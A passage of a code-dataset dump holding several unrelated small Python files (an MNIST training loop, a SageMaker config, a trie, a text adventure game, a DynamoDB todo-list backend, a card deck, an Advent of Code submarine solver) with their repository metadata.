5 == 0:\r\n y_pred, train_acc = model.evaluate(x_train, y_train, device)\r\n history[\"accuracy\"].append(train_acc)\r\n history[\"loss\"].append(loss.detach().cpu().numpy().item())\r\n xx = np.arange(len(history[\"accuracy\"]))\r\n # clear figure\r\n plt.clf()\r\n title = \"Epoch \" + str(ep) + \"\\nTrain accuracy: {:.2f}\".format(train_acc)\r\n plt.suptitle(title)\r\n # show accuracy\r\n plt.subplot(121)\r\n plt.grid(True)\r\n plt.xlabel(\"Accuracy\")\r\n plt.plot(xx, history[\"accuracy\"])\r\n # show loss\r\n plt.subplot(122)\r\n plt.grid(True)\r\n plt.xlabel(\"Loss\")\r\n plt.plot(xx, history[\"loss\"])\r\n # update and display figure\r\n plt.pause(0.2)\r\n #============================================================\r\n\r\n # compute accuracy score on train and test sets\r\n _, train_acc = model.evaluate(x_train, y_train, device)\r\n y_pred, test_acc = model.evaluate(x_test, y_test, device)\r\n\r\n # visualize final results\r\n print(\"Train accuracy: {:.2f}\".format(train_acc) + \" -- Test accuracy: {:.2f}\".format(test_acc))\r\n plt.show()\r\n","repo_name":"vomar18/DL","sub_path":"03_ConvNET/3_SOLUTION/2_convolutional_neural_network_mnist_solutions.py","file_name":"2_convolutional_neural_network_mnist_solutions.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32757779278","text":"import os\n\n\nBUCKET_NAME = os.environ.get('BUCKET_NAME', 'beular-api-bucket')\nENDPOINT_NAME = os.environ.get('ENDPOINT_NAME', \"bttest123\")\nCONTENT_TYPE = os.environ.get('CONTENT_TYPE', 'text/csv')\n\n\nclass Config(object):\n sm_stack = dict(\n # shell script that runs only once, when you create a notebook instance\n on_create_script_path=os.path.join(\n os.getcwd(), 'scripts', 'notebook', 'onCreate.sh'),\n # shell script that runs every time you start a notebook instance, \n # including when you create the notebook instance.\n on_start_script_path=os.path.join(\n os.getcwd(), 'scripts', 'notebook', 'onStart.sh'),\n # repo='https://github.com/csmcallister/beular-nb.git',\n bucket_name=BUCKET_NAME,\n endpoint_name=ENDPOINT_NAME\n )\n\n api_stack = dict(\n endpoint_name=ENDPOINT_NAME,\n content_type=CONTENT_TYPE\n )","repo_name":"csmcallister/beular-api","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35576439288","text":"# Implementation of a Trie data structure for pattern searching\n\nclass TrieNode(object):\n \"\"\"\n Our trie node\n \"\"\"\n def __init__(self, char: str):\n self.char = char\n self.children = []\n # Is it the last character of the word?\n self.word_finished = False\n # how many times this character appeared?\n self.counter = 1\n\ndef add(root, word: str):\n \"\"\"\n Add a word in the trie\n \"\"\"\n node = root\n for char in word:\n found_in_child = False\n # search for char in the children of the present node\n for child in node.children:\n if child.char == char:\n # if we find it, increase order by 1\n child.counter += 1\n # and point the node to the child that contains this char\n node = child\n found_in_child = True\n break\n # We did not find it so add a new child\n if not found_in_child:\n new_node = TrieNode(char)\n node.children.append(new_node)\n # point node to the new child\n node = new_node\n # Mark as end of word\n node.word_finished = True\n\ndef find_prefix(root, prefix: str) -> Tuple[bool, int]:\n \"\"\"\n Check and return if prefix exists and how many\n \"\"\"\n node = root\n if not root.children:\n return False, 0\n for char in prefix:\n char_not_found = True\n # search all children in present node\n for child in node.children:\n if child.char == char:\n # we found the char\n char_not_found = False\n # assign node as the children containing the char and break\n node = child\n break\n if char_not_found:\n return False, 0\n # We have found the prefix and we are at the node that indicates\n # the count of the prefix\n return True, node.counter\n","repo_name":"ejydavis/pattern-search-py","sub_path":"trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26786345117","text":"import sys\ndef check_for_success(command):\n\n # Keep getting responces until the success of fail the given command is received\n while True:\n\n # Get response from Camelot\n received = input()\n\n # Return True if success response, else false for fail response\n if received == 'succeeded ' + command:\n return True\n elif received.startswith('failed ' + command):\n return False \n \n\n\ndef action(command):\n print('start ' + command, flush=True)\n #sys.stdout.flush()\n # Call function to check for its success\n return check_for_success(command)\n\naction('EnableInput()')\naction('ShowMenu()')\naction('HideMenu()')\naction('CreateCharacter(Kate)')\naction('SetClothing(Kate, Noble)')\naction('SetExpression(Kate, Happy)')\naction('SetHairStyle(Kate, Spiky)')\naction('SetSkinColor(Kate, 5)')\naction('SetCameraFocus(Kate)')\naction('CreatePlace(Camp, Camp)')\naction('SetPosition(Kate, Camp)')\n\n\n\nwhile(True):\n input()\n","repo_name":"swathipriya123/Alpha-Model","sub_path":"first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33732188742","text":"\"\"\"TOML serializing.\"\"\"\n\nfrom __future__ import annotations\n\nfrom typing import Any\n\nimport tomlkit\n\n\ndef loads(string: str) -> dict[str, Any]:\n \"\"\"Converts a TOML file string to an object.\n\n Args:\n string (str): TOML file string to convert.\n\n Returns:\n dict: Conversion result.\n \"\"\"\n\n def iterate_key_values(obj: Any) -> Any:\n _partial_result: dict[str, Any] | list[Any]\n\n if isinstance(obj, dict):\n _partial_result = {}\n for key, value in obj.items():\n key = str(key)\n if isinstance(value, dict):\n value = dict(value)\n _partial_result[key] = iterate_key_values(value)\n else:\n if isinstance(value, list):\n value = iterate_key_values(value)\n elif isinstance(value, str):\n value = str(value)\n _partial_result[key] = value\n\n elif isinstance(obj, list):\n _partial_result = []\n for item in obj:\n if isinstance(item, dict):\n item = dict(item)\n _partial_result.append(iterate_key_values(item))\n else:\n if isinstance(item, list):\n item = iterate_key_values(item)\n elif isinstance(item, str):\n item = str(item)\n _partial_result.append(item)\n\n return _partial_result\n\n return iterate_key_values(dict(tomlkit.loads(string))) # type: ignore\n","repo_name":"mondeja/project-config","sub_path":"src/project_config/serializers/toml.py","file_name":"toml.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28662593217","text":"import json\nfrom shop_handling import Item\n\n\nclass ObjectEncoder(json.JSONEncoder):\n def default(self, o):\n \"\"\"\n A recursive function for easily handling complex objects.\n :param o: Object\n :return: dict\n \"\"\"\n try:\n d: dict = o.__dict__\n except AttributeError:\n return o\n for key, obj in d.items():\n if not self.isDecode(obj):\n r = self.default(obj)\n r[\"_type\"] = type(obj)\n d[key] = r\n\n return d\n\n def isDecode(self, o):\n try:\n self.default(o)\n return True\n except json.JSONDecodeError:\n return False\n\n\nclass ObjectDecoder(json.JSONDecoder):\n def __init__(self, *args, **kwargs):\n super().__init__(object_hook=self.object_hook, *args, **kwargs)\n\n def object_hook(self, obj):\n if \"_type\" not in obj:\n return obj\n t = obj[\"_type\"]\n\n if t.lower() == \"item\":\n i = Item(obj)\n\n for k, o in i.__dict__.items():\n if not self.isEncode(o):\n i.__dict__[k] = self.object_hook(o)\n\n def isEncode(self, o):\n try:\n a = o[\"_type\"]\n return False\n except KeyError:\n return True\n\n","repo_name":"Duve3/EggletBot","sub_path":"json_handling.py","file_name":"json_handling.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28463842743","text":"import os\nfrom typing import List, Dict, Any\n\nimport boto3\nfrom todo_list_api.app.exceptions import ListNotFoundException\nfrom todo_list_api.db.interface import DataBase\nfrom todo_list_api.model.item import Item\nfrom todo_list_api.model.list import TodoList\n\n\nclass TodoListDynamoDB(DataBase):\n def __init__(self):\n super().__init__()\n self.table_name = os.environ[\"DYNAMODB_TABLE\"]\n region_name = os.environ[\"DYNAMODB_REGION\"]\n endpoint_url = os.environ.get(\"DYNAMODB_ENDPOINT\")\n\n params = {\"region_name\": region_name}\n if endpoint_url:\n params[\"endpoint_url\"] = endpoint_url\n self.client = boto3.client(\"dynamodb\", **params)\n\n def get_lists(self) -> List[TodoList]:\n items = self.client.scan(TableName=self.table_name).get(\"Items\", [])\n return [self.parse_todo_list(item) for item in items]\n\n def get_list(self, name: str) -> TodoList:\n key = self.__get_key(name)\n item = self.client.get_item(Key=key, TableName=self.table_name).get(\"Item\")\n if not item:\n raise ListNotFoundException(name)\n return self.parse_todo_list(item)\n\n def create_list(self, name: str) -> TodoList:\n todo_list = TodoList(name, [])\n self.__save_list(todo_list)\n return todo_list\n\n def delete_list(self, name: str) -> None:\n key = self.__get_key(name)\n self.client.delete_item(Key=key, TableName=self.table_name)\n\n def add_item(self, list_name: str, item_name: str, item_description: str) -> None:\n key = self.__get_key(list_name)\n self.client.update_item(\n TableName=self.table_name,\n Key=key,\n UpdateExpression=\"SET todo_items = list_append(todo_items, :i)\",\n ExpressionAttributeValues={\n \":i\": {\n \"L\": [\n {\n \"M\": {\n \"name\": {\"S\": item_name},\n \"description\": {\"S\": item_description},\n }\n }\n ]\n }\n },\n )\n\n def delete_item(self, list_name: str, item_name: str) -> None:\n todo_list = self.get_list(list_name)\n for index, item in enumerate(todo_list.items):\n if item.name == item_name:\n todo_list.delete_item(index)\n self.__save_list(todo_list)\n\n @staticmethod\n def __to_item(todo_list: TodoList):\n return {\n \"name\": {\"S\": todo_list.name},\n \"todo_items\": {\n \"L\": [\n {\"M\": {\"name\": {\"S\": i.name}, \"description\": {\"S\": i.description}}}\n for i in todo_list.items\n ]\n },\n }\n\n def __save_list(self, todo_list: TodoList):\n self.client.put_item(Item=self.__to_item(todo_list), TableName=self.table_name)\n\n @staticmethod\n def __get_key(name: str) -> Dict[str, Dict[str, str]]:\n return {\"name\": {\"S\": name}}\n\n @staticmethod\n def parse_todo_list(item: Dict[str, Dict[str, Any]]) -> TodoList:\n return TodoList(\n item[\"name\"][\"S\"],\n [TodoListDynamoDB.parse_list_item(i[\"M\"]) for i in item[\"todo_items\"][\"L\"]],\n )\n\n @staticmethod\n def parse_list_item(item: Dict[str, Dict[str, Any]]) -> Item:\n return Item(item[\"name\"][\"S\"], item[\"description\"][\"S\"])\n\n def setup(self):\n try:\n self.client.create_table(\n TableName=self.table_name,\n KeySchema=[\n {\n \"AttributeName\": \"name\",\n \"KeyType\": \"HASH\",\n }\n ],\n AttributeDefinitions=[\n {\"AttributeName\": \"name\", \"AttributeType\": \"S\"},\n ],\n ProvisionedThroughput={\"ReadCapacityUnits\": 5, \"WriteCapacityUnits\": 5},\n )\n except:\n pass\n","repo_name":"arongeerts/improve-your-python","sub_path":"plugins/dynamodb/todo_list_api_dynamo/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7870569176","text":"# This code is structured in the following way:\n# First, the text variables used in the code\n# Second, repetitive functions\n# Third, functions with the unique variables, calling the repetitive functions\n\nimport datetime # import datetime module from python\n\nfrom sys import exit # use exit attribute (function) in the import module from python sys package\n# Note. Code works too without this.\n\n# Username argument entered through command line (argv module)\nfrom sys import argv\nscript, name_player, filename = argv # first one is script name itself. Second one is the second entry\n\nplayer_level = 0\n\n##########################################################################################\n# FIRST, TEXT VARIABLES USED IN CODE\n\n# game level 1 text\nlevel1_text = (f\"\"\"\n\\nYou {name_player} are a rich king, and one day you wake-up and your gold is stolen by the Bavarians.\n\nYou must find back your gold and recover your country's peace but the Bavarians dumped you \nfar away in the wood.\n\nGo find the way back to your castle, \nrelease your friend from jail and fight the Bavarians. \\n\n \nWith your friend you need to distract them to access and recover the gold and free \nyour country from the Bavarians.\n \nNow your hands are tight on your back and you are dumped into the river. \nYou lay with your face down on the side of a river bend and you can barely breath.\n \nYour nose and eyes and forehead are just slightly above the water.\n \nHow do you try to safe yourself from drowning?\n \nA. Turn your back on the slippery rockbed and move your hands over the\nrock to break the cord and get your hands loose.\n \nB. Push yourself out of the riverbed onto the mainland.\n \nC. Cry for help and pray.\n\nEnter, A, B or C. Make your choice.\"\"\") \n## \\n not required for breaks because it is double on Mac terminal. Not tested on other OS.\n\nlevel1a_text = \"\"\"You choose option A.\"\"\"\nlevel1b_text = \"\"\"You choose option B.\"\"\"\nlevel1c_text = \"\"\"You choose option C. You may skip 3 levels and move ahead to Level 5.\"\"\"\n\n# game level 1_1 text\nlevel1_1_text = \"\"\"\\nYou turn and now you can't breath any longer, ...HELP! You can't breath, you:\n\nA. quickly turn yourself back onto your belly\nB. Scratch your hands very slowly over the rock even you are bleeding rapidly.\nC. Scratch your hands very fast over the rock because you are bleeding rapidly.\n\nEnter, A, B or C. Make your choice.\"\"\"\n \nlevel1_1a_text = \"\"\"You choose option A.\nYou turn back on your back and return to level 1, and start again from the beginning...\"\"\"\nlevel1_1b_text = \"\"\"You choose option B. And you continue to level 2.\"\"\"\nlevel1_1c_text = \"\"\"You choose option C. You bleed heavily, slip of the rock into the river\nand die.\"\"\"\n\n# game level 2 text\nlevel2_text = \"\"\"\n\\nYou get your hands loose, get up and walk ashore. \nYou think everything is fine now but you realize you are bleeding fast. \n\nHow will you stop the bleeding?\n\nA. stick your finger in your mouth to stop the bleeding.\n\nB. Push the wound with your other hand to stop the bleeding.\n\nC. Use your T-Shirt to stop the bleeding.\n\nEnter A, B or C. Make your choice.\"\"\"\n\nlevel2a_text = \"\"\"You choose option A. You lose consciousness and die.\"\"\"\nlevel2b_text = \"\"\"You choose option B. Excellent. \nYour strange idea help stop the bleeding and you move ahead to level 3.\"\"\"\nlevel2c_text = \"\"\"You choose option C. You try to take off your shirt, but it hurts too much.\"\"\"\n\n# game level 2_1 text\nlevel2_1_text = \"\"\"\\nWill you try again? Choose option 'C' or:\n\nA. stick your finger in your mouth to stop the bleeding.\nB. Push the wound with your other hand to stop the bleeding.\nC. Try again to use your T-Shirt to stop the bleeding.\"\"\"\n\nlevel2_1c_text = \"\"\"You choose option C. You try to take off your shirt again, the pain make you faint and you die.\"\"\"\n\n# game level 3 text\nlevel3_text = \"\"\"\n\\nFind back the castle. And fast.\n\nHow will you find back the castle?\n\nA. Use the sun's direction to navigate to the north.\n\nB. Follow the river. Longer route. But sure way to arrive.\n\nC. Take out your cellphone and call an Uber.\n\nEnter, A, B or C. Make your choice.\"\"\"\n\nlevel3a_text = \"\"\"You choose option A. Now lets see how well your survival skills are...\"\"\"\nlevel3b_text = \"\"\"You choose option B. You slip back into the river and die.\"\"\"\nlevel3c_text = \"\"\"You choose option C. Wait?! Do you own Uber preferred stock or something?\"\"\"\n\n# game level 3_1 text\nlevel3_1_text = \"\"\"\n\\nTo which side the sun goes down in the winter?\n\nA. North-south.\n\nB. Middle-east.\n\nC. South-East.\n\nEnter, A, B or C. Make your choice.\"\"\"\n\nlevel3_1a_text = \"\"\"You choose option A. You're a lost cause. You die.\"\"\"\nlevel3_1b_text = \"\"\"You choose option B. A Chinese Crocodile will eat you and you die.\"\"\"\nlevel3_1c_text = \"\"\"You choose option C. Great! You arrive at the castle and move ahead to level 4.\"\"\"\n\n# game level 3_2 text\nlevel3_2_text = \"\"\"\n\\nYour Uber arrives at your location within 5 minutes but inside the car is the notorious\nUber Monster. What will do you?\n\nA. Press the SOS button on your phone.\n\nB. Attack.\n\nC. Make a chat. Small-talk with the monster.\n\nEnter, A, B or C. Make your choice.\"\"\"\n\nlevel3_2a_text = \"\"\"You choose option A. Great. You are so smart... you skip one level and move ahead to level 5.\"\"\"\nlevel3_2b_text = \"\"\"You choose option B. The Uber monster is Uber strong and you die.\"\"\"\nlevel3_2c_text = \"\"\"You choose option C. Great! You are taken to the castle and move ahead to level 4. You are smart!\"\"\"\n\n# game level 4 text\nlevel4_text = \"\"\"\n\\nYou reach the castle at 4AM and the gate is up. You try your security-code to get in but\nthe Bavarians changed the code and now it asks you the secret question.\n\nDo you remember the answer to the secret question?\n\nIf you answer it correctly, you will be able to reset your password and open the gate.\"\"\"\n\n# game level 5 text\nlevel5_text = \"\"\"The castle gate opens and you enter. You notice everybody is asleep, including\nthe guard you walk pass. Now you must find your friend and release him from his jail cell.\n\nWhat will do you?\n\nA. Go downstairs.\n\nB. Take the elevator instead.\n\nC. Throw a rope through the window, go down and get inside your friends jail cell from the outside.\n\nEnter, A, B or C. Make your choice.\"\"\"\n\nlevel5a_text = \"\"\"You choose option A. Great. You are so smart... you move ahead to level 6.\"\"\"\nlevel5b_text = \"\"\"You choose option B. Castles don't have elevators you lazy king. You die.\"\"\"\nlevel5c_text = \"\"\"You choose option C. Great! You do reach the jail cell but get stuck inside. You die\"\"\"\n\n# game level 6 text\nlevel6_text = \"\"\"A guard is snorring in front of the cell. He have the keys in his pocket.\n\nWhat will you do?\n\nA. Put your hand in his pocket and grab the key.\n\nB. Knock him on the head, then grab the keys.\n\nC. Start a conversation with your friend.\n\nEnter, A, B or C. Make your choice.\"\"\"\n\nlevel6a_text = \"\"\"You choose option A. To bad. The guard wakes-up and dies.\"\"\"\nlevel6b_text = \"\"\"You choose option B. Awesome. You obtain the keys and open the lock and release\nyour friend. Congratulations. You won!!!\"\"\"\nlevel6c_text = \"\"\"You choose option C. You make noice. The other guards are alerted and you die.\"\"\"\n\n########################################################################################## \n# SECOND, REPETITIVE FUNCTIONS\n\n# function to start at each new level\ndef start_new_level():\n attempt = 1\n \n global player_level\n player_level = player_level + 1\n \n print(txt) # print story\n \n while True:\n choice = input('> ') # variable = user input prompt\n\n if \"A\" in choice or \"B\" in choice or \"C\" in choice: # if-statement is '0' in variable (choice) or 1 then\n level_end(choice) \n elif attempt < game_difficulty_level_nr: # and choice != A and choice != B and choice != C:\n print(\"Wrong answer. Enter: A, B or C only. Please try again\")\n attempt = attempt + 1\n else: # if-statement is other than 'A' or 'B' or 'C' then\n print(\"Enter: A, B or C only. GAME-OVER.\")\n game_over() # call dead function and show text message\n\ndef level_end(choice):\n if choice ==\"A\":\n print(option_a)\n next_function_a()\n elif choice ==\"B\":\n print(option_b)\n next_function_b()\n elif choice ==\"C\":\n print(option_c)\n next_function_c()\n\n# function to exit program without errors by 'game-over' or 'winning' the game\ndef game_over():\n print() # show argument\n \n #write_to_game_history_log function\n # if no file exist (I assume) Python will create a new file\n game_history = open(filename, 'a+')\n \n # Variable using a method to write previous prompted lines for input to the file\n game_history.write(datetime.datetime.now().ctime())\n game_history.write(f\"\"\" Game level: {player_level} was reached by: {name_player} ({game_difficulty_level} level player)\\n\"\"\")\n \n # Close file\n game_history.close()\n \n# I had to close the file and then open it again, otherwise it does not reflect the .write\n# changes that are made by this function after it opened the file. \n# Other solution to load the changes is to flush to see the latest changes. \n \n game_history = open(filename)\n #read_to_game_history_log function\n print(f\"Here is your the game history log: {filename}\")\n print(game_history.read())\n \n # Close file\n game_history.close()\n \n exit(0) # good normal exit without errors.\n \n\n########################################################################################## \n# THIRD, FUNCTIONS WITH UNIQUE VALUES calling the repetitive functions\n \n\n\n \n# function to fill correct text in 'level_end' functionality\n# function to fill correct next 'function' to call in each of the options\n\ndef level1():\n# variables assigned inside a function are 'local' unless you assign 'global'\n# I prefer to remove these lines of repetitive code within each level with a variable but no idea how?\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level1_text # fill with correct text\n \n option_a = level1a_text\n option_b = level1b_text\n option_c = level1c_text\n \n next_function_a = level1_1 # variable = call function\n next_function_b = level2 # variable = call function\n next_function_c = level5 # variable = call function\n \n start_new_level() # call level function\n \ndef level1_1():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level1_1_text # fill with correct text\n option_a = level1_1a_text\n option_b = level1_1b_text\n option_c = level1_1c_text\n \n next_function_a = level1 # variable = call function\n next_function_b = level2 # variable = call function\n next_function_c = game_over # variable = call function\n \n start_new_level() # call level function\n \ndef level2():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level2_text # fill with correct text\n \n option_a = level2a_text\n option_b = level2b_text\n option_c = level2c_text\n \n next_function_a = game_over # variable = call function\n next_function_b = level3 # variable = call function\n next_function_c = level2_1 # variable = call function\n \n start_new_level() # call level function\n\n# level2_1 = equal as level2 with ONLY difference that next_function_c = game_over on second try \ndef level2_1():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level2_1_text # fill with correct text\n \n option_a = level2a_text\n option_b = level2b_text\n option_c = level2_1c_text # changed\n \n next_function_a = game_over\n next_function_b = level3\n next_function_c = game_over # game over at second try (level2_1)\n \n start_new_level() # call level function\n \ndef level3():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level3_text # fill with correct text\n \n option_a = level3a_text\n option_b = level3b_text\n option_c = level3c_text\n \n next_function_a = level3_1 \n next_function_b = game_over # Option B leads you back to level 1_1\n next_function_c = level3_2 \n \n start_new_level() # call level function\n\ndef level3_1():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level3_1_text # fill with correct text\n \n option_a = level3_1a_text\n option_b = level3_1b_text\n option_c = level3_1c_text\n \n next_function_a = game_over \n next_function_b = game_over\n next_function_c = level4 \n \n start_new_level() # call level function\n\ndef level3_2():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level3_2_text\n \n option_a = level3_2a_text\n option_b = level3_2b_text\n option_c = level3_2c_text\n \n next_function_a = level5 # test level. must define level here still \n next_function_b = game_over\n next_function_c = level4 \n \n start_new_level() # call level function\n\ndef level4():\n global txt\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level4_text\n print(level4_text)\n request_for_secret_answer() # call level function\n \n# function for level 4\ndef castle_gate_security():\n print(\"Please define A question that only you know the answer too in the field below?\")\n \n global secret_question\n secret_question = input('> ') # variable = user input prompt\n \n print(f\"Please provide the answer to your following question: \\n{secret_question}\")\n global secret_answer\n secret_answer = input('> ') # variable = user input prompt\n print('Thank you! Your security settings have now been updated.')\n level1()\n \n# function for level 5 \ndef level5():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level5_text # fill with correct text\n \n option_a = level5a_text\n option_b = level5b_text\n option_c = level5c_text\n \n next_function_a = level6 # variable = call function\n next_function_b = game_over # variable = call function\n next_function_c = game_over # variable = call function\n \n start_new_level() # call level function\n \n# function for level 6 \ndef level6():\n global txt \n global option_a\n global option_b\n global option_c\n global next_function_a\n global next_function_b\n global next_function_c\n \n txt = level6_text # fill with correct text\n \n option_a = level6a_text\n option_b = level6b_text\n option_c = level6c_text\n \n next_function_a = game_over # variable = call function\n next_function_b = win_game # variable = call function\n next_function_c = game_over # variable = call function\n \n start_new_level() # call level function\n \n################################\n\n# Win game track function\n\ndef win_game():\n\n \n game_over() # call level function\n\n\n# Other functions \ndef game_level_difficulty():\n print(f\"\"\"Hi {name_player}, Please select the games' difficulty level:\n \n A. Novice\n B. Intermediate\n C. Expert\n \nPlease enter: Novice, Intermediate or Expert. Enter: Exit to close the program. Make your choice.\"\"\")\n global game_difficulty_level\n \n while True: \n game_difficulty_level = input('> ')\n \n if game_difficulty_level == \"Novice\" or game_difficulty_level == \"Intermediate\" or game_difficulty_level == \"Expert\":\n print(f\"Great {name_player}! You are a {game_difficulty_level} player.\")\n\n game_level_difficulty_level_conversion()\n \n elif game_difficulty_level == \"Exit\":\n print(\"Goodbye\")\n game_over()\n \n else:\n print(\"I've got no idea what that means.\")\n print(\"Enter: Novice, Intermediate or Expert only. Please try again.\")\n\ndef game_level_difficulty_level_conversion(): # Did not know of another way to convert this\n global game_difficulty_level_nr\n if game_difficulty_level == \"Expert\":\n game_difficulty_level_nr = 1\n configure_castle_gate_security_question()\n \n elif game_difficulty_level == \"Intermediate\":\n game_difficulty_level_nr = 3\n configure_castle_gate_security_question()\n \n else:\n game_difficulty_level_nr = 5 # Novice\n configure_castle_gate_security_question()\n \n# Level 4 function ot open castle Gate\ndef configure_castle_gate_security_question():\n print(f\"{name_player}, Please define a security question that only YOU know the answer to in the field below?\")\n global secret_question # Set variable to global to call it outside this function\n \n while True:\n secret_question = input('> ') # variable = user input prompt\n \n secret_question_word_count = (len(secret_question))\n \n if secret_question == \"Exit\":\n print(\"Goodbye\")\n game_over()\n \n elif secret_question_word_count <10:\n print(\"Your question should be a sentence. Minimal 10 characters are required.\")\n print(\"Please try again or type 'Exit' to end program.\")\n \n else:\n configure_castle_gate_security_answer()\ndef configure_castle_gate_security_answer(): \n print(f\"{name_player}, please provide the answer to your following question: \\n{secret_question}\")\n global secret_answer # Set variable to global to call it outside this function\n secret_answer = input('> ') # variable = user input prompt\n print('Thank you! Your security settings have now been updated.')\n level1()\n\ndef request_for_secret_answer():\n attempt = 1 # outside while true. Inside it does not work. Why?\n print(f\"Please provide us with the answer to the following question: \\n{secret_question}\")\n\n while True: # infinitive loop\n answer = input('> ')\n if answer == secret_answer:\n print(\"Your answer is correct!\")\n level5()\n \n elif attempt < game_difficulty_level_nr and answer != secret_answer:\n print(\"Wrong answer. Please try again\")\n attempt = attempt + 1\n\n else:\n print(f\"{game_difficulty_level} the wrong answer. Goodbye {name_player}\")\n game_over()\n \ngame_level_difficulty() \n","repo_name":"retournerai/learn_python3_the_hard_way","sub_path":"ex36.py","file_name":"ex36.py","file_ext":"py","file_size_in_byte":19008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32796647262","text":"def run():\r\n # nombre = input(\"Escribe tu nombre:\\n\")\r\n # for letra in nombre:\r\n # print(letra)\r\n # ctrl + c para cerrar programa en la consola\r\n \r\n frase = input(\"Escribe una frase\\n\")\r\n for caracter in frase:\r\n print(caracter.upper())\r\n\r\nif __name__ == \"__main__\":\r\n run()","repo_name":"Leyvinsky/PythonBasico","sub_path":"recorrer.py","file_name":"recorrer.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22599594152","text":"from rest_framework import serializers\nfrom django.contrib.auth.models import User\nfrom calculateInsurance.models import Car\n\nclass CarSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Car\n fields = ('type_of_risk','id','make_of_vehicle','number_of_seats','registration_number','license_issued_year','insurance_type','insurance_payment_due')\n extra_kwargs = {\n 'url':{\n 'view_name':'calculateInsurance:car-detail'\n }\n }\n\nclass UserSerializer(serializers.ModelSerializer):\n # cars = serializers.PrimaryKeyRelatedField(many=True, queryset=Car.objects.all())\n owner = serializers.ReadOnlyField(source='owner.username')\n\n class Meta:\n model = User\n fields = ('id', 'username','owner')\n","repo_name":"romeo-folie/insurance_calculator_api","sub_path":"calculateInsurance/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"312600001","text":"\"\"\"\n\tApril 21, 2014 CIS 211 John Conery\n\tAuthor: Sean Grady\n\tDecks.py initializes a deck of cards to be shuffled and dealt\n\tHelp from John Conery\n\"\"\"\n\n\nfrom Card import *\nfrom random import shuffle\nclass Deck(list):\n\t'creates an instance of a deck, inheriting from the list attrributes which fits the situation'\n\n\thand = []\n\n\n\tdef __init__(self):\n\t\t'initializes a deck of cards'\n\n\t\t##creating an isa relationship rather than hasa\n\t\tlist.__init__(self, [Card(i) for i in range(52)])\n\n\tdef deal(self, num):\n\t\t'takes a specfied num and deals the card ie go fish the players are dealt 7 cards'\n\t\t\n\t\t\n\t\tfor i in range(5):\n\t\t\t(Deck.hand).append(self.pop())\n\n\t\treturn Deck.hand\n\n\n\tdef shuffle(self):\n\t\treturn shuffle(self)\n\n\tdef restore(self, a):\n\t\t'restores a list of card a (usually being the list of cards that have already been removed)'\n\n\n\t\tfor card in a:\n\t\t\tself.append(card)\n\n \n\nclass PinochleDeck(Deck):\n\t''\n\t##we want our constructor to inherit attributes from Deck, but specfics must also be applied for a correct pinochle deck\n\tdef __init__(self):\n\t\t\n\t\tfor i in range(52):\n\t\t\tif i%13 > 6:\n\t\t\t\tself.append(Card(i))\n\t\t\t\tself.append(Card(i))\n\n\n\n\n\n\n\n\n\n","repo_name":"sgrady2/BlackjackDeck","sub_path":"Deck.py","file_name":"Deck.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25169641755","text":"#!/usr/bin/env python3\n\nfrom aoc import *\n\nimport cairo\n\npd = Debug(True)\nDAY = 2\nSOLVED_1 = True\nSOLVED_2 = True\n\n\nclass Command:\n def __init__(self, command):\n self.command = command\n direction, s_length = command.split()\n self.direction = direction\n self.length = int(s_length)\n\n\nclass Submarine:\n def __init__(self):\n self.horizontal = 0\n self.depth = 0\n self.history = [(0, 0)]\n\n def do_step(self, command):\n if command.direction == 'forward':\n self.horizontal += command.length\n elif command.direction == 'down':\n self.depth += command.length\n elif command.direction == 'up':\n self.depth -= command.length\n else:\n raise InvalidArgument\n self.history.append((self.horizontal, self.depth))\n\n def summary(self):\n return self.depth * self.horizontal\n\n def __str__(self):\n return f'Submarine is at position {self.horizontal} and depth {self.depth}'\n\n def __rshift__(self, step):\n self.do_step(step)\n\n\nclass RealSubmarine(Submarine):\n def __init__(self):\n super().__init__()\n self.aim = 0\n\n def do_step(self, command):\n if command.direction == 'forward':\n self.horizontal += command.length\n self.depth += self.aim * command.length\n elif command.direction == 'down':\n self.aim += command.length\n elif command.direction == 'up':\n self.aim -= command.length\n else:\n raise InvalidArgument\n 